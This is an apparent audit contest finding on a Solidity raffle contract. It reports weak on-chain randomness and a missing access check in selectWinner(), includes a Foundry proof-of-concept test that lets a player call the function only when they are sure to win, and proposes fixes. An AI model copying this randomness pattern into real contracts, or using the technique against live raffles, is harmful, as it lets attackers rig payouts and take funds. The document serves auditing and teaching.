Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

`selectWinner()` uses weak randomness, allowing anyone to choose a winner

Summary

The selectWinner() function uses weak randomness to determine the winnerIndex. Additionally, it has no access control, allowing anyone to call it and attempt to manipulate the raffle.

Vulnerability Details

A malicious actor can call the selectWinner() function only if one of their entries is the winner, therefore manipulating the raffle.

function selectWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
@> uint256 winnerIndex =
@> uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
@> address winner = players[winnerIndex];
uint256 totalAmountCollected = players.length * entranceFee;
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
totalFees = totalFees + uint64(fee);
uint256 tokenId = totalSupply();
// We use a different RNG calculate from the winnerIndex to determine rarity
uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;
if (rarity <= COMMON_RARITY) {
tokenIdToRarity[tokenId] = COMMON_RARITY;
} else if (rarity <= COMMON_RARITY + RARE_RARITY) {
tokenIdToRarity[tokenId] = RARE_RARITY;
} else {
tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
}
delete players;
raffleStartTime = block.timestamp;
previousWinner = winner;
(bool success,) = winner.call{value: prizePool}("");
require(success, "PuppyRaffle: Failed to send prize pool to winner");
_safeMint(winner, tokenId);
}

Impact

Change the code in PuppyRaffleTest.t.sol and run forge test --mt testWeakRandomness to see that anyone can call the selectWinner() function only if they will be selected as the winner.

+ function _getRandomNumber() internal view returns (uint256) {
+ uint256 randomNumber = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % 4;
+ return randomNumber;
+ }
+ function testWeakRandomness() public playersEntered {
+ vm.prank(playerOne);
+ for (uint256 i = 0; i < 500; i++) {
+ vm.warp(block.timestamp + duration + i);
+ vm.roll(block.number + i);
+ if (_getRandomNumber() == 0) {
+ puppyRaffle.selectWinner();
+ break;
+ }
+ }
+ assertEq(playerOne, puppyRaffle.previousWinner());
+ }

Tools Used

  • Foundry

Recommendations

Best practice is to use an oracle to determine the winnerIndex, so that it cannot be manipulated by anyone including the owner. To prevent users from manipulating the raffle, add access control to restrict access to the owner.

- function selectWinner() external {
+ function selectWinner() external onlyOwner {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
uint256 winnerIndex =
uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
address winner = players[winnerIndex];
uint256 totalAmountCollected = players.length * entranceFee;
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
totalFees = totalFees + uint64(fee);
uint256 tokenId = totalSupply();
// We use a different RNG calculate from the winnerIndex to determine rarity
uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;
if (rarity <= COMMON_RARITY) {
tokenIdToRarity[tokenId] = COMMON_RARITY;
} else if (rarity <= COMMON_RARITY + RARE_RARITY) {
tokenIdToRarity[tokenId] = RARE_RARITY;
} else {
tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
}
delete players;
raffleStartTime = block.timestamp;
previousWinner = winner;
(bool success,) = winner.call{value: prizePool}("");
require(success, "PuppyRaffle: Failed to send prize pool to winner");
_safeMint(winner, tokenId);
}
Updates

Lead Judging Commences

Hamiltonite Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

weak-randomness

Root cause: bad RNG Impact: manipulate winner

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.